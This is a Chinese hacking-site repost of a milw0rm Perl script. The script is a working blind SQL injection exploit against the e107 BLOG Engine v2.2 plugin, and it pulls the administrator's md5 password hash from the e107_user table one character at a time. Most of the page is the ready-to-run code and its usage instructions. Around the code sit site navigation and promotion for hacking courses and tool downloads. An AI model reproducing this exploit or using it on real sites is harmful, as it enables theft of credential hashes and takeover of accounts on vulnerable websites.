距离元旦还有: 设为首页 加入收藏
点击进入夜鹰海盗盟首页
用户登陆 用户名: 密码:
首页 文章中心 黑软下载 动画教程 会员专区 海盗源码 绿软下载 业务介绍 发布动画 QQ空间 论坛社区
学技术来---夜鹰海盗盟
软件 教程 源码 绿软 文章 会员
请记住本站永久域名 WwW.YYhacker.CoM 夜鹰海盗盟
当前位置:夜鹰海盗盟文章中心漏洞中心web apps → 文章内容

盲SQL注入漏洞

减小字体 增大字体 作者:milw0rm  来源:不详  发布时间:2008-8-4 0:12:33

#!/usr/bin/perl
#####################################################################################
#         e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit                  #
#                           ..::virangar security team::..                          #
#                              www.virangar.net                                     #
#                 C0d3d BY:virangar security team ( hadihadi  )                     #
#special tnx to:                                                                    #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                                     #
#& all virangar members & all hackerz                                               #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)                               #
#             ..:::Young Iranina Hackerz::..                                        #
#####################################################################################
#[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod  ;)
#this code is for english e107's only,if you want work on other languages,you can edit line 67;)

use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
}

$host = $ARGV[0];

print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 48;
while(!$f && $n <= 57)
{
  if(&inject($host, $i, $n,)){
$f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if(!$f){
$n=97;
while(!$f && $n <= 102)
{
  if(&inject($host, $i, $n,)){
$f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2];

$col = "user_password";

$attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_ 

id=1%20limit%200,1),"."$a".",1)=char("."$b".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res !~ /The user has hidden their blog./i){
    return 1;
}

}
sub header {
print qq{
###################################################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit        #
#                  (just for english e107's)                      #
#                      www.virangar.net                           #
#   Useage: perl $0 Host                                          #
#                                                                 #
#   Host: full patch to macgurublog.php+uid (dont forget http://) #
#                                                                 #
#  Example:                                                       #
# perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5      #
#                                                                 #
###################################################################
};
}

# milw0rm.com

 
 
Copyright 夜鹰网络 2003-2008版权所有 All Rights Reserved Some Rights Reserved.
客服QQ:5207111|售后QQ:5168116|投稿QQ:9626837|技术QQ:272110110
中华人民共和国信息产业部网站备案编号:沪ICP备07020296号
 零基础起步·系统化培训 
 普及安全意识·提高全民水平
 遵守国家法律·遵守黑客守则